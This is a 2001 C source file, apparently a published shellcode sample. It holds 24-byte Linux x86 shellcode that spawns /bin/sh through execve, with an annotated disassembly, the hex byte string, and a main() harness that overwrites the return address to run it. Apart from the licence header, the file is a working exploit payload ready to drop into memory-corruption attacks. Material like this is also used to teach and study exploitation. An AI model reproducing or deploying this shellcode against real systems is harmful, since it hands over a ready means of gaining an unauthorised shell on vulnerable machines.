/* * execve ("/bin/sh"..) (linux little endian) * * Copyright (c) 2001 Nicola Bonelli * Quequero * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ /**** 8048318: 31 d2 xor %edx,%edx 804831a: 52 push %edx 804831b: 68 6e 2f 73 68 push $0x68732f6e "n/sh" 8048320: 68 2f 2f 62 69 push $0x69622f2f "//bi" 8048325: 89 e3 mov %esp,%ebx 8048327: 52 push %edx 8048328: 53 push %ebx 8048329: 89 e1 mov %esp,%ecx 804832b: 8d 42 0b lea 0xb(%edx),%eax 804832e: cd 80 int $0x80 ****/ char shellcode_24[] = "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69" "\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; main() { long *ret; ret = (long *)&ret + 2; (*ret) = (long)shellcode_24; }